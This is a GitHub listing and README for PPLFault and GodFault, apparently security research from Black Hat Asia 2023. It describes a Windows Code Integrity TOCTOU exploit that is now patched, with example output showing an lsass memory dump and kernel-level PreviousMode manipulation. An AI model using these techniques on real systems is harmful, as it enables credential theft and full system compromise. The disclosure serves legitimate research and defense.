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https://github.com/gabriellandau/PPLFault
https://github.com/gabriellandau/PPLFault
Last synced: 5 days ago
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- Host: GitHub
- URL: https://github.com/gabriellandau/PPLFault
- Owner: gabriellandau
- License: other
- Created: 2022-09-22T19:39:24.000Z (about 2 years ago)
- Default Branch: main
- Last Pushed: 2024-02-22T17:23:53.000Z (9 months ago)
- Last Synced: 2024-10-08T13:10:59.705Z (about 1 month ago)
- Language: C
- Size: 214 KB
- Stars: 501
- Watchers: 8
- Forks: 84
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
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README
# PPLFault
By [Gabriel Landau](https://twitter.com/GabrielLandau) at [Elastic Security](https://www.elastic.co/security-labs/).
From [PPLdump Is Dead. Long Live PPLdump!](https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052) presented at [Black Hat Asia 2023](https://www.blackhat.com/asia-23).
[](http://www.youtube.com/watch?v=5xteW8Tm410 "PPLdump Is Dead. Long Live PPLdump!")
## PPLFault
**2024-02 UPDATE: Microsoft patched PPLFault on 2024-02-13. See [this thread](https://x.com/GabrielLandau/status/1757818200127946922?s=20) for related discussion.**
Exploits a TOCTOU in Windows Code Integrity to achieve arbitrary code execution as WinTcb-Light then dump a specified process. For more details on the exploit, see my [slides](http://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf) and/or [talk](https://x.com/GabrielLandau/status/1707773387731272085).
### Example Output
```
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
```
## GodFault
Exploits the same TOCTOU as PPLFault. However instead of dumping a process, it migrates to CSRSS and exploits a vulnerability in `win32k!NtUserHardErrorControlCall` from [ANGRYORCHARD](https://github.com/gabriellandau/ANGRYORCHARD/blob/0a4720f7e07e86a9ac2783411b81efac14938e26/Exploit.c#L69-L81) to decrement `KTHREAD.PreviousMode` from `UserMode` (1) to `KernelMode` (0). It proves "God Mode" access by opening `\Device\PhysicalMemory`, normally inaccessible from `UserMode`, as `SECTION_ALL_ACCESS`.
### Example Output
```
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
```
## Python
PoC that achieves arbitrary code execution as WinTcb-Light without the CloudFilter API. See [python/README.md](python/README.md).
## Tested Platforms
| | Windows 11 22H2 22621.1702 (May 2023) | Windows 11 Insider Canary 25346.1001 (April 2023) |
| - | - | - |
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ Insider PreviousMode mitigation [bugchecks](https://twitter.com/GabrielLandau/status/1597001955909697536?s=20) |
# License
PPLFault is covered by the [ELv2 license](LICENSE.txt). It uses [phnt](https://github.com/winsiderss/systeminformer/tree/25846070780183848dc8d8f335a54fa6e636e281/phnt) from SystemInformer under the [MIT license](phnt/LICENSE.txt).
# Credits
Inspired by [PPLdump](https://github.com/itm4n/PPLdump) by [Clément Labro](https://infosec.exchange/@itm4n), which Microsoft [patched](https://itm4n.github.io/the-end-of-ppldump/) in July 2022.
[ANGRYORCHARD](https://github.com/gabriellandau/ANGRYORCHARD) was created by [Austin Hudson](https://twitter.com/ilove2pwn_), who released it when Microsoft patched PPLdump.